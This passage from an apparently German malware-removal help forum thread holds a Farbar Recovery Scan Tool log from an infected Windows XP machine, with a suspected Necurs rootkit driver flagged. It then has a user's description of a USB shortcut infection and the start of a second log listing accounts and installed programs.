FF Plugin HKU\S-1-5-21-796845957-1960408961-682003330-1003: @citrixonline.com/appdetectorplugin -> C:\Dokumente und Einstellungen\Julie\Lokale Einstellungen\Anwendungsdaten\Citrix\Plugins\104\npappdetector.dll [2015-10-12] (Citrix Online)

FF Plugin ProgramFiles/Appdata: C:\Programme\mozilla firefox\plugins\npqtplugin.dll [2012-08-29] (Apple Inc.)

FF Plugin ProgramFiles/Appdata: C:\Programme\mozilla firefox\plugins\npqtplugin2.dll [2012-08-29] (Apple Inc.)

FF Plugin ProgramFiles/Appdata: C:\Programme\mozilla firefox\plugins\npqtplugin3.dll [2012-08-29] (Apple Inc.)

FF Plugin ProgramFiles/Appdata: C:\Programme\mozilla firefox\plugins\npqtplugin4.dll [2012-08-29] (Apple Inc.)

FF Plugin ProgramFiles/Appdata: C:\Programme\mozilla firefox\plugins\npqtplugin5.dll [2012-08-29] (Apple Inc.)

FF Plugin ProgramFiles/Appdata: C:\Programme\mozilla firefox\plugins\npqtplugin6.dll [2012-08-29] (Apple Inc.)

FF Plugin ProgramFiles/Appdata: C:\Programme\mozilla firefox\plugins\npqtplugin7.dll [2012-08-29] (Apple Inc.)

FF Plugin ProgramFiles/Appdata: C:\Dokumente und Einstellungen\Julie\Anwendungsdaten\mozilla\plugins\np-mswmp.dll [2009-09-25] (Microsoft Corporation)

FF Extension: Java Console - C:\Programme\Mozilla Firefox\extensions\{CAFEEFAC-0017-0000-0000-ABCDEFFEDCBA} [2014-06-21] [ist nicht signiert]

FF Extension: Connection Centre Extension - C:\Programme\Telenor Norway\Telenorhjelpen\BHO\Firefox [2014-08-11] [ist nicht signiert]

FF Extension: Kein Name - C:\Dokumente und Einstellungen\Julie\Anwendungsdaten\Mozilla\Firefox\Profiles\v80lvlpr.default\extensions\iobitascsurfingprotection@iobit.com [nicht gefunden]

FF Extension: Microsoft .NET Framework Assistant - C:\Dokumente und Einstellungen\Julie\Anwendungsdaten\Mozilla\Firefox\Profiles\v80lvlpr.default\Extensions\{20a82645-c095-46ed-80e3-08825760534b}(2) [2012-09-13] [ist nicht signiert]

FF Extension: Start Page - C:\Dokumente und Einstellungen\Julie\Anwendungsdaten\Mozilla\Firefox\Profiles\v80lvlpr.default\Extensions\{58d2a791-6199-482f-a9aa-9b725ec61362} [2014-03-30] [ist nicht signiert]

FF Extension: VMN Toolbar - C:\Dokumente und Einstellungen\Julie\Anwendungsdaten\Mozilla\Firefox\Profiles\v80lvlpr.default\Extensions\{98f782cf-9b6b-41ca-909b-b4fdc0bbc23a} [2011-08-22] [ist nicht signiert]

FF Extension: JavaScript Options - C:\Dokumente und Einstellungen\Julie\Anwendungsdaten\Mozilla\Firefox\Profiles\v80lvlpr.default\Extensions\{cdbbb3f6-a50e-4b20-a154-5fcbb3bbf43d} [2009-05-31] [ist nicht signiert]

FF Extension: Mozilla Firefox distributed by RealNetworks - C:\Programme\Mozilla Firefox\extensions\realplayer@partners.mozilla.com [2009-01-22] [ist nicht signiert]

FF Extension: Controller - C:\Programme\Mozilla Firefox\extensions\{B0BBFC8E-6697-4D2B-8FC4-B5AD9B3B1F11} [2016-05-20] [ist nicht signiert]

FF HKLM\...\Firefox\Extensions: [{ABDE892B-13A8-4d1b-88E6-365A6E755758}] - C:\Program Files\Real\RealPlayer\browserrecord

FF Extension: RealPlayer Browser Record Plugin - C:\Program Files\Real\RealPlayer\browserrecord [2009-04-10] [ist nicht signiert]

FF HKLM\...\Firefox\Extensions: [{20a82645-c095-46ed-80e3-08825760534b}] - C:\WINDOWS\Microsoft.NET\Framework\v3.5\Windows Presentation Foundation\DotNetAssistantExtension

FF Extension: Microsoft .NET Framework Assistant - C:\WINDOWS\Microsoft.NET\Framework\v3.5\Windows Presentation Foundation\DotNetAssistantExtension [2010-03-02] [ist nicht signiert]

FF HKLM\...\Firefox\Extensions: [{23fcfd51-4958-4f00-80a3-ae97e717ed8b}] - C:\Programme\DivX\DivX Plus Web Player\firefox\DivXHTML5

FF Extension: DivX Plus Web Player HTML5 &video& - C:\Programme\DivX\DivX Plus Web Player\firefox\DivXHTML5 [2012-09-16] [ist nicht signiert]

FF HKLM\...\Firefox\Extensions: [{8D03DB51-DA47-46a9-8F14-53ABE84263F5}] - C:\Programme\Telenor Norway\Telenorhjelpen\BHO\Firefox

FF ExtraCheck: C:\Programme\mozilla firefox\defaults\pref\firefox-branding.js [2009-01-20]

FF ExtraCheck: C:\Programme\mozilla firefox\defaults\pref\firefox-l10n.js [2009-01-20]

FF ExtraCheck: C:\Programme\mozilla firefox\defaults\pref\firefox.js [2009-01-20]

FF ExtraCheck: C:\Programme\mozilla firefox\defaults\pref\reporter.js [2009-01-20]
 

Chrome: 

=======

CHR HomePage: Default -> hxxp://www.google.com/

CHR StartupUrls: Default -> "hxxp://www.google.com/"

CHR DefaultSearchURL: Default -> hxxp://www.search.ask.com/web?p2=%5EAKE%5EOSJ000%5EYY%5EAT&gct=&o=APN10452&tpid=ORJ-V7&itbv=12.6.0.11&doi=2013-10-30&apn_uid=84D7EA17-D885-40D4-B0F9-731F3AB927BA&apn_ptnrs=AKE&apn_dtid=%5EOSJ000%5EYY%5EAT&apn_dbr=cr_30.0.1599.101&psv=&trgb=CR&q={searchTerms}

CHR DefaultSearchKeyword: Default -> ask search

CHR DefaultSuggestURL: Default -> hxxp://ss.websearch.ask.com/query?qsrc={qsrc}&li=ff&sstype=prefix&q={searchTerms}

CHR Session Restore: Default -> ist aktiviert.

CHR Profile: C:\Dokumente und Einstellungen\Julie\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default

CHR Extension: (Google Docs) - C:\Dokumente und Einstellungen\Julie\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake [2015-02-06]

CHR Extension: (Google Drive) - C:\Dokumente und Einstellungen\Julie\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf [2015-10-21]

CHR Extension: (YouTube) - C:\Dokumente und Einstellungen\Julie\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo [2015-09-29]

CHR Extension: (Adblock für Youtube™) - C:\Dokumente und Einstellungen\Julie\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\cmedhionkhpnakcndndgjdbohmhepckk [2016-03-04]

CHR Extension: (Google-Suche) - C:\Dokumente und Einstellungen\Julie\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf [2015-11-27]

CHR Extension: (Google Docs Offline) - C:\Dokumente und Einstellungen\Julie\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi [2016-03-16]

CHR Extension: (Chrome Web Store-Zahlungen) - C:\Dokumente und Einstellungen\Julie\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda [2016-04-02]

CHR Extension: (Mehr Leistung und Videoformate für dein HTML5 <video>) - C:\Dokumente und Einstellungen\Julie\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\nneajnkjbffgblleaoojgaacokifdkhm [2013-07-25]

CHR Extension: (Google Mail) - C:\Dokumente und Einstellungen\Julie\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia [2015-04-10]

CHR HKLM\...\Chrome\Extension: [nneajnkjbffgblleaoojgaacokifdkhm] - C:\Programme\DivX\DivX Plus Web Player\chrome\DivXHTML5\DivXHTML5.crx [2011-12-12]
 

==================== Dienste (Nicht auf der Ausnahmeliste) ========================
 

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Die Datei wird nicht verschoben solange sie nicht separat aufgelistet wird.)
 

"8d2f1246333c7fa" => service konnte nicht entsperrt werden. <===== ACHTUNG
 

S3 Adobe LM Service; C:\Programme\Gemeinsame Dateien\Adobe Systems Shared\Service\Adobelmsvc.exe [72704 2013-12-17] (Adobe Systems) [Datei ist nicht signiert]

S4 Adobe Version Cue CS2; c:\Programme\Adobe\Adobe Version Cue CS2\bin\VersionCueCS2.exe [163840 2005-04-06] (Adobe Systems Incorporated) [Datei ist nicht signiert]

S4 ESUSClient_TNO; C:\Programme\Telenor Norway\ESUS_TNO\ESUS_TNO.exe [358808 2010-12-17] (Telenor Norway)

S4 gupdate; C:\Programme\Google\Update\GoogleUpdate.exe [144200 2015-08-27] (Google Inc.)

S4 gupdatem; C:\Programme\Google\Update\GoogleUpdate.exe [144200 2015-08-27] (Google Inc.)

S3 IDriverT; C:\Programme\Gemeinsame Dateien\InstallShield\Driver\1150\Intel 32\IDriverT.exe [69632 2005-11-14] (Macrovision Corporation) [Datei ist nicht signiert]

S2 IMFservice; C:\Programme\IObit\IObit Malware Fighter\IMFsrv.exe [344864 2015-01-13] (IObit)

S2 JavaQuickStarterService; C:\Programme\Java\jre7\bin\jqs.exe [161664 2014-06-21] (Oracle Corporation)

S2 LightScribeService; C:\Programme\Gemeinsame Dateien\LightScribe\LSSrvc.exe [73728 2006-04-24] (Hewlett-Packard Company) [Datei ist nicht signiert]

S4 LiveUpdateSvc; C:\Programme\IObit\LiveUpdate\LiveUpdate.exe [2909472 2015-08-17] (IObit)

S4 MSCSPTISRV; C:\Programme\Gemeinsame Dateien\Sony Shared\AVLib\MSCSPTISRV.exe [45056 2006-12-14] (Sony Corporation) [Datei ist nicht signiert]

S4 MySQL56; C:\Programme\MySQL\MySQL Server 5.6\bin\mysqld.exe [11048960 2015-05-05] () [Datei ist nicht signiert]

S4 nlsX86cc; C:\WINDOWS\system32\nlssrv32.exe [63488 2010-03-11] (Nalpeiron Ltd.) [Datei ist nicht signiert]

S3 ose; C:\Programme\Gemeinsame Dateien\Microsoft Shared\Source Engine\OSE.EXE [89136 2003-07-28] (Microsoft Corporation)

S2 PaceLicenseDServices; C:\Programme\Gemeinsame Dateien\PACE\Services\LicenseServices\LDSvc.exe [2784768 2011-03-25] (PACE Anti-Piracy, Inc.) [Datei ist nicht signiert]

S3 PACSPTISVR; C:\Programme\Gemeinsame Dateien\Sony Shared\AVLib\PACSPTISVR.exe [57344 2006-12-14] () [Datei ist nicht signiert]

S2 SentinelProtectionServer; C:\Programme\Gemeinsame Dateien\SafeNet Sentinel\Sentinel Protection Server\WinNT\spnsrvnt.exe [206400 2006-05-07] (SafeNet, Inc)

S4 SonicStage Back-End Service; C:\Programme\Gemeinsame Dateien\Sony Shared\AVLib\SsBeSvc.exe [112184 2007-02-05] (Sony Corporation)

S3 SPTISRV; C:\Programme\Gemeinsame Dateien\Sony Shared\AVLib\SPTISRV.exe [69632 2006-12-14] (Sony Corporation) [Datei ist nicht signiert]

S4 SSScsiSV; C:\Programme\Gemeinsame Dateien\Sony Shared\AVLib\SSScsiSV.exe [75320 2007-02-05] (Sony Corporation)

S4 TelenorhjelpenSvc; C:\Programme\Telenor Norway\Telenorhjelpen\Service.exe [463240 2011-02-15] ()

S4 Apple Mobile Device; "C:\Programme\Gemeinsame Dateien\Apple\Mobile Device Support\AppleMobileDeviceService.exe" [X]

S4 Iomega Activity Disk2; "" [X]
 

===================== Treiber (Nicht auf der Ausnahmeliste) ==========================
 

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Die Datei wird nicht verschoben solange sie nicht separat aufgelistet wird.)
 

R3 AEAudioService; C:\WINDOWS\System32\drivers\AEAudio.sys [127872 2005-03-04] (Andrea Electronics Corporation)

R2 AegisP; C:\WINDOWS\System32\DRIVERS\AegisP.sys [17801 2016-01-12] (Meetinghouse Data Communications) [Datei ist nicht signiert]

R1 AFS2K; C:\WINDOWS\system32\Drivers\AFS2K.sys [43488 2007-01-09] (Oak Technology Inc.)

R3 ASAPIW2K; C:\WINDOWS\System32\Drivers\ASAPIW2K.sys [11264 2003-11-28] (Pinnacle Systems GmbH) [Datei ist nicht signiert]

R1 ElbyCDIO; C:\WINDOWS\System32\Drivers\ElbyCDIO.sys [30616 2014-12-21] (Elaborate Bytes AG)

S4 FileMonitor; C:\Programme\IObit\IObit Malware Fighter\Drivers\wxp_x86\FileMonitor.sys [247968 2014-11-10] (IObit)

S3 fireface; C:\WINDOWS\System32\drivers\fireface.sys [83968 2016-03-08] (RME) [Datei ist nicht signiert]

R2 Haspnt; C:\WINDOWS\system32\drivers\haspnt.sys [36352 2007-11-23] () [Datei ist nicht signiert]

S3 HdAudAddService; C:\WINDOWS\System32\drivers\HdAudio.sys [145920 2004-10-27] (Windows (R) Server 2003 DDK provider)

R3 HPZid412; C:\WINDOWS\System32\DRIVERS\HPZid412.sys [51056 2003-08-11] (HP)

R3 HPZipr12; C:\WINDOWS\System32\DRIVERS\HPZipr12.sys [16496 2003-08-11] (HP)

R3 HPZius12; C:\WINDOWS\System32\DRIVERS\HPZius12.sys [21488 2003-08-11] (HP)

S3 iLokDrvr; C:\WINDOWS\System32\DRIVERS\iLokDrvr.sys [21112 2011-04-24] ()

R3 L8042PR2; C:\WINDOWS\System32\Drivers\l8042pr2.sys [53870 2003-06-30] (Logitech, Inc.)

R3 motubus; C:\WINDOWS\System32\drivers\MotuBus.sys [22024 2007-01-04] (Mark of the Unicorn)

R3 MTsensor; C:\WINDOWS\System32\DRIVERS\ASACPI.sys [5810 2004-08-13] ()

S3 NETMDUSB; C:\WINDOWS\System32\Drivers\NETMD033.sys [36232 2003-11-10] (Sony Corporation)

R3 NVHDA; C:\WINDOWS\System32\drivers\nvhda32.sys [124264 2013-02-18] (NVIDIA Corporation)

R3 SenFiltService; C:\WINDOWS\System32\drivers\Senfilt.sys [393088 2005-08-11] (Sensaura)

S3 SynasUSB; C:\WINDOWS\System32\drivers\SynasUSB.sys [23696 2009-06-26] (Steinberg Media Technologies GmbH)

R0 TPkd; C:\WINDOWS\system32\Drivers\TPkd.sys [93304 2011-03-24] (PACE Anti-Piracy, Inc.)

U5 8d2f1246333c7fa; C:\Windows\System32\Drivers\8d2f1246333c7fa.sys [82432 2016-08-03] () <===== ACHTUNG Necurs Rootkit?

S3 AR5416; system32\DRIVERS\athw.sys [X]

S3 hwdatacard; system32\DRIVERS\ewusbmdm.sys [X]

S4 IntelIde; kein ImagePath

S3 MotuMidi; system32\drivers\MotuMidi.sys [X]

S3 MotuUsb; System32\Drivers\MotuUsb.sys [X]

U5 ScsiPort; C:\WINDOWS\system32\drivers\scsiport.sys [96384 2008-04-14] (Microsoft Corporation)

U1 WS2IFSL; kein ImagePath
 

==================== NetSvcs (Nicht auf der Ausnahmeliste) ===================
 

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Die Datei wird nicht verschoben solange sie nicht separat aufgelistet wird.)
 
 

==================== Ein Monat: Erstellte Dateien und Ordner ========
 

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird die Datei/der Ordner verschoben.)
 

2016-08-04 00:56 - 2016-08-04 00:57 - 00000000 ____D C:\FRST

2016-08-04 00:54 - 2016-08-04 00:54 - 00002822 _____ C:\Dokumente und Einstellungen\Julie\Desktop\JRT.txt

2016-08-04 00:39 - 2016-08-04 00:55 - 00000000 ____D C:\AdwCleaner

2016-08-03 14:52 - 2016-08-03 14:52 - 00082432 _____ C:\WINDOWS\system32\Drivers\8d2f1246333c7fa.sys
 

==================== Ein Monat: Geänderte Dateien und Ordner ========
 

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird die Datei/der Ordner verschoben.)
 

2016-08-04 00:57 - 2007-01-08 22:44 - 00000000 ____D C:\Dokumente und Einstellungen\Julie\Lokale Einstellungen\Temp

2016-08-04 00:54 - 2007-01-08 22:44 - 00000000 ___RD C:\Dokumente und Einstellungen\Julie\Anwendungsdaten

2016-08-04 00:45 - 2013-07-20 20:32 - 00001086 _____ C:\WINDOWS\Tasks\GoogleUpdateTaskMachineCore.job

2016-08-04 00:45 - 2007-01-08 22:42 - 00000006 ____H C:\WINDOWS\Tasks\SA.DAT

2016-08-04 00:44 - 2013-02-24 02:00 - 00131072 _____ C:\WINDOWS\system32\config\WindowsPowerShell.evt

2016-08-04 00:44 - 2007-01-09 05:27 - 00000000 ___RD C:\Programme

2016-08-04 00:44 - 2007-01-09 05:25 - 00000000 __RHD C:\Dokumente und Einstellungen\All Users\Anwendungsdaten

2016-08-04 00:44 - 2007-01-08 22:44 - 00000190 ___SH C:\Dokumente und Einstellungen\Julie\ntuser.ini

2016-08-04 00:44 - 2007-01-08 22:42 - 00032634 _____ C:\WINDOWS\SchedLgU.Txt

2016-08-04 00:44 - 2007-01-08 22:42 - 00000190 ___SH C:\Dokumente und Einstellungen\LocalService\ntuser.ini

2016-08-04 00:34 - 2012-09-01 13:24 - 00001210 _____ C:\WINDOWS\Tasks\GoogleUpdateTaskUserS-1-5-21-796845957-1960408961-682003330-1005UA.job

2016-08-04 00:31 - 2014-04-04 14:37 - 00007706 _____ C:\WINDOWS\system32\nvAppTimestamps

2016-08-04 00:30 - 2007-01-08 22:44 - 00000000 ____D C:\Dokumente und Einstellungen\Julie

2016-08-04 00:26 - 2007-01-08 22:44 - 00000000 ___RD C:\Dokumente und Einstellungen\Julie\Startmenü\Programme\Autostart

2016-08-04 00:25 - 2013-03-03 14:01 - 00000884 _____ C:\WINDOWS\Tasks\Adobe Flash Player Updater.job

2016-08-04 00:13 - 2013-07-20 20:32 - 00001090 _____ C:\WINDOWS\Tasks\GoogleUpdateTaskMachineUA.job

2016-08-03 23:17 - 2002-12-31 14:00 - 00000718 _____ C:\WINDOWS\win.ini

2016-08-03 23:17 - 2002-12-31 14:00 - 00000260 _____ C:\WINDOWS\system.ini

2016-08-03 16:34 - 2012-09-01 13:24 - 00001158 _____ C:\WINDOWS\Tasks\GoogleUpdateTaskUserS-1-5-21-796845957-1960408961-682003330-1005Core.job

2016-08-02 13:21 - 2012-09-12 17:36 - 00000000 ____D C:\Dokumente und Einstellungen\Julie\Eigene Dateien\My Scans

2016-08-02 13:21 - 2007-02-06 12:31 - 00000000 ____D C:\Dokumente und Einstellungen\Julie\Lokale Einstellungen\Anwendungsdaten\ApplicationHistory

2016-08-02 10:12 - 2007-01-09 05:24 - 00000000 ____D C:\Dokumente und Einstellungen\All Users

2016-08-01 01:00 - 2015-07-09 15:34 - 00002285 _____ C:\Dokumente und Einstellungen\Julie\Desktop\MySQL Control Center.lnk

2016-08-01 00:50 - 2007-01-08 22:40 - 00000000 ____D C:\Dokumente und Einstellungen\NetworkService\Lokale Einstellungen\Temp

2016-08-01 00:47 - 2014-08-11 19:23 - 00000000 ____D C:\Dokumente und Einstellungen\All Users\Anwendungsdaten\TEMP

2016-08-01 00:44 - 2007-02-06 20:21 - 00000000 ____D C:\Programme\CD-Lab Viewer

2016-08-01 00:43 - 2007-01-09 05:27 - 00000000 ___RD C:\Dokumente und Einstellungen\All Users\Startmenü\Programme

2016-08-01 00:21 - 2007-01-09 06:23 - 00000211 ___SH C:\boot.ini

2016-07-31 11:34 - 2002-12-31 14:00 - 00002206 _____ C:\WINDOWS\system32\wpa.dbl

2016-07-30 13:13 - 2007-01-08 22:44 - 00000000 ___HD C:\Dokumente und Einstellungen\Julie\Lokale Einstellungen\Anwendungsdaten

2016-07-29 12:13 - 2016-03-15 14:54 - 00000000 ____D C:\Dokumente und Einstellungen\All Users\Anwendungsdaten\ProductData

2016-07-22 13:11 - 2007-10-23 01:01 - 00000000 ____D C:\unzipped

2016-07-15 15:25 - 2016-06-19 14:25 - 06079168 _____ (Adobe Systems Incorporated) C:\WINDOWS\system32\FlashPlayerInstaller.exe

2016-07-15 15:25 - 2013-03-03 14:01 - 00796352 _____ (Adobe Systems Incorporated) C:\WINDOWS\system32\FlashPlayerApp.exe

2016-07-15 15:25 - 2013-03-03 13:59 - 00142528 _____ (Adobe Systems Incorporated) C:\WINDOWS\system32\FlashPlayerCPLApp.cpl

2016-07-15 10:25 - 2007-01-08 22:36 - 00000000 ____D C:\WINDOWS\system32\Macromed

2016-07-15 10:20 - 2007-01-08 22:35 - 00000000 ____D C:\Programme\Outlook Express
 

==================== Dateien im Wurzelverzeichnis einiger Verzeichnisse =======
 

2008-05-24 12:07 - 2009-05-05 20:34 - 0000000 ____H () C:\Programme\Gemeinsame Dateien\MSN

2012-09-07 14:04 - 2012-09-07 14:06 - 0001024 _____ () C:\Dokumente und Einstellungen\Julie\Anwendungsdaten\WavCodec.wff

2008-01-30 13:51 - 2016-02-22 12:47 - 0018432 _____ () C:\Dokumente und Einstellungen\Julie\Lokale Einstellungen\Anwendungsdaten\DCBC2A71-70D8-4DAN-EHR8-E0D61DEA3FDF.ini

2007-02-06 12:31 - 2007-02-06 12:31 - 0000138 _____ () C:\Dokumente und Einstellungen\Julie\Lokale Einstellungen\Anwendungsdaten\fusioncache.dat

2002-12-31 14:00 - 2008-04-14 08:52 - 72365312 ___SH () C:\Dokumente und Einstellungen\All Users\msdgqhc.exe

2016-04-20 23:17 - 2016-04-20 23:17 - 0000085 ___SH () C:\Dokumente und Einstellungen\All Users\Anwendungsdaten\.zreglib

2011-02-24 22:39 - 2011-02-24 22:39 - 0005013 _____ () C:\Dokumente und Einstellungen\All Users\Anwendungsdaten\jdhdxjyu.jga

2011-08-16 15:07 - 2011-08-16 15:26 - 0000392 _____ () C:\Dokumente und Einstellungen\All Users\Anwendungsdaten\P1kAlMiG2Kb7Fz

2007-05-02 13:18 - 2010-08-07 15:27 - 0001763 _____ () C:\Dokumente und Einstellungen\All Users\Anwendungsdaten\QTSBandwidthCache

2011-08-16 15:07 - 2011-08-16 15:33 - 0000224 _____ () C:\Dokumente und Einstellungen\All Users\Anwendungsdaten\~P1kAlMiG2Kb7Fz

2011-08-16 15:07 - 2011-08-16 15:33 - 0000176 _____ () C:\Dokumente und Einstellungen\All Users\Anwendungsdaten\~P1kAlMiG2Kb7Fzr
 

Dateien, die verschoben oder gelöscht werden sollten:

====================

C:\Dokumente und Einstellungen\All Users\msdgqhc.exe
 
 

Einige Dateien in TEMP:

====================

C:\Dokumente und Einstellungen\Julie\Lokale Einstellungen\Temp\cdo107006017.dll

C:\Dokumente und Einstellungen\Julie\Lokale Einstellungen\Temp\cdo2270682358.dll

C:\Dokumente und Einstellungen\Julie\Lokale Einstellungen\Temp\libeay32.dll

C:\Dokumente und Einstellungen\Julie\Lokale Einstellungen\Temp\msvcr120.dll

C:\Dokumente und Einstellungen\Julie\Lokale Einstellungen\Temp\sqlite3.dll
 
 

==================== Bamital & volsnap =================
 

(Es ist kein automatischer Fix für Dateien vorhanden, die an der Verifikation gescheitert sind.)
 

C:\WINDOWS\explorer.exe => Datei ist digital signiert

C:\WINDOWS\system32\winlogon.exe => Datei ist digital signiert

C:\WINDOWS\system32\svchost.exe => Datei ist digital signiert

C:\WINDOWS\system32\services.exe => Datei ist digital signiert

C:\WINDOWS\system32\User32.dll => Datei ist digital signiert

C:\WINDOWS\system32\userinit.exe => Datei ist digital signiert

C:\WINDOWS\system32\rpcss.dll => Datei ist digital signiert

C:\WINDOWS\system32\dnsapi.dll => Datei ist digital signiert

C:\WINDOWS\system32\Drivers\volsnap.sys => Datei ist digital signiert
 

==================== Ende vom FRST.txt ============================

deeprybka

04.08.2016 11:31

:hallo:

Thema ist in Bearbeitung. Du bekommst so schnell als möglich weitere Anweisungen!
Bitte keine weiteren Änderungen am System vornehmen!

jazzerin

04.08.2016 13:52

Danke für die Nachricht! Ein wenig verbesserungsbedürftig ist die Formulierung meines Themas. Meine Problemstellung ist die, dass die SchadSW zu jedem angeschlossenen USB Stick eine (einzige) Verknüpfung anzeigt, statt die Ordner und Dateien des Sticks anzuzeigen.

Hier noch ein logfile Addition.txt:

Code:

Zusätzliches Untersuchungsergebnis von Farbar Recovery Scan Tool (x86) Version: 03-08-2016

durchgeführt von Julie (2016-08-04 00:57:49)

Gestartet von C:\Dokumente und Einstellungen\Julie\Eigene Dateien\Downloads

Microsoft Windows XP Professional Service Pack 3 (X86) (2013-02-20 19:04:41)

Start-Modus: Normal

==========================================================
 
 

==================== Konten: =============================
 

Administrator (S-1-5-21-796845957-1960408961-682003330-500 - Administrator - Enabled) => %SystemDrive%\Dokumente und Einstellungen\Administrator.HOME

ASPNET (S-1-5-21-796845957-1960408961-682003330-1004 - Limited - Enabled)

Gast (S-1-5-21-796845957-1960408961-682003330-501 - Limited - Enabled)

Hilfeassistent (S-1-5-21-796845957-1960408961-682003330-1000 - Limited - Disabled)

Julie (S-1-5-21-796845957-1960408961-682003330-1003 - Administrator - Enabled) => %SystemDrive%\Dokumente und Einstellungen\Julie

SUPPORT_388945a0 (S-1-5-21-796845957-1960408961-682003330-1002 - Limited - Disabled)
 

==================== Sicherheits-Center ========================
 

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er entfernt.)
 
 

==================== Installierte Programme ======================
 

(Nur Adware-Programme mit dem Zusatz "Hidden" können in die Fixlist aufgenommen werden, um sie sichtbar zu machen. Die Adware-Programme sollten manuell deinstalliert werden.)
 

5500 (Version: 40.0.105.000 - Hewlett-Packard) Hidden

5500_Help (Version: 40.0.105.000 - Hewlett-Packard) Hidden

5500Tour (Version: 40.0.105.000 - Hewlett-Packard) Hidden

5500Trb (Version: 40.0.105.000 - Hewlett-Packard) Hidden

A1 Internet Software (HKLM\...\A1 Internet Software) (Version: 8.1.1.64 - A1 Telekom Austria AG)

A1 Internet Software (Version: 8.1.1.64 - A1 Telekom Austria AG) Hidden

A1 Servicecenter (HKLM\...\A1 Servicecenter) (Version: 1.1.0.12 - A1 Telekom Austria AG)

A1 Servicecenter (Version: 1.1.0.12 - A1 Telekom Austria AG) Hidden

A1 Webassistent (HKLM\...\A1 Webassistent) (Version: 4.2.0.168 - A1 Telekom Austria AG)

A1 Webassistent (Version: 4.2.0.168 - A1 Telekom Austria) Hidden

Active Disk (HKLM\...\Active Disk) (Version:  - )

Adobe AIR (HKLM\...\Adobe AIR) (Version: 1.5.3.9130 - Adobe Systems Inc.)

Adobe Creative Suite 2 (HKLM\...\{0134A1A1-C283-4A47-91A1-92F19F960372}) (Version:  - )

Adobe Flash Player 22 ActiveX (HKLM\...\Adobe Flash Player ActiveX) (Version: 22.0.0.210 - Adobe Systems Incorporated)

Adobe Flash Player 22 NPAPI (HKLM\...\Adobe Flash Player NPAPI) (Version: 22.0.0.209 - Adobe Systems Incorporated)

Adobe Reader 8.1.2 - Deutsch (HKLM\...\{AC76BA86-7AD7-1031-7B44-A81200000003}) (Version: 8.1.2 - Adobe Systems Incorporated)

Adobe Reader 8.1.2 Security Update 1 (KB403742) (HKLM\...\{AC76BA86-7AD7-1031-7B44-A81200000003}_Adobe Reader 8.1.2 - Deutsch) (Version:  - )

Adobe Shockwave Player 12.1 (HKLM\...\Adobe Shockwave Player) (Version: 12.1.8.158 - Adobe Systems, Inc.)

Adobe SVG Viewer 3.0 (HKLM\...\Adobe SVG Viewer) (Version:  3.0 - Adobe Systems, Inc.)

AiO_Scan (Version: 40.0.105.000 - Hewlett-Packard) Hidden

AIOMinimal (Version: 40.0.105.000 - Hewlett-Packard) Hidden

AiOSoftware (Version: 40.0.105.000 - Hewlett-Packard) Hidden

Apple Application Support (HKLM\...\{63EC2120-1742-4625-AA47-C6A8AEC9C64C}) (Version: 2.2.2 - Apple Inc.)

Apple Mobile Device Support (HKLM\...\{D4DDFAA1-EC37-4529-AD5B-A433ADE68662}) (Version: 6.0.0.59 - Apple Inc.)

ASAPI (HKLM\...\{8A7E941F-2BB4-47D0-B732-8AE5F3513B68}) (Version: 6.0.0 - Pinnacle Systems GmbH)

ATI - Dienstprogramm zur Deinstallation der Software (HKLM\...\All ATI Software) (Version: 6.14.10.1022 - )

aTube Catcher Version 3.8 (HKLM\...\{D43B360E-722D-421B-BC77-20B9E0F8B6CD}_is1) (Version: 3.8 - DsNET Corp)

AVS Video Converter 7 (HKLM\...\AVS4YOU Video Converter 7_is1) (Version:  - Online Media Technologies Ltd.)

CloneDVD2 (HKLM\...\CloneDVD2) (Version: 2.9.3.3 - Elaborate Bytes)

Copy (Version: 5.35.0.065 - Hewlett-Packard) Hidden

CreativeProjects (Version: 5.35.0.059 - Hewlett-Packard) Hidden

Director (Version: 5.35.0.051 - Hewlett-Packard) Hidden

DivX-Setup (HKLM\...\DivX Setup) (Version: 2.6.1.22 - DivX, LLC)

DocProc (Version: 3.5.0.0 - Hewlett-Packard) Hidden

eLicenser Control (HKLM\...\eLicenser Control) (Version:  - Steinberg Media Technologies GmbH)

Express Rip (HKLM\...\ExpressRip) (Version:  - NCH Swift Sound)

Fax (Version: 40.0.105.000 - Hewlett-Packard) Hidden

Google Chrome (HKLM\...\Google Chrome) (Version: 49.0.2623.112 - Google Inc.)

Google Talk Plugin (HKLM\...\{2B0FC5A8-C3B6-33B7-9069-0D3BC69D2E50}) (Version: 3.11.7.10909 - Google)

Google Update Helper (Version: 1.3.25.11 - Google Inc.) Hidden

Google Update Helper (Version: 1.3.31.5 - Google Inc.) Hidden

Hotfix für Windows XP (KB2779562) (HKLM\...\KB2779562) (Version: 1 - Microsoft Corporation)

Hotfix für Windows XP (KB952287) (HKLM\...\KB952287) (Version: 1 - Microsoft Corporation)

HP CD Labeler II (HKLM\...\HP CD Labeler II) (Version:  - )

HP Image Zone 3.5 (HKLM\...\HP Photo & Imaging) (Version: 3.5 - HP)

HP PSC & OfficeJet 3.5 (HKLM\...\{0FABD3D7-3036-4e78-B29D-58957ADB0A12}) (Version: 3.5 - HP)

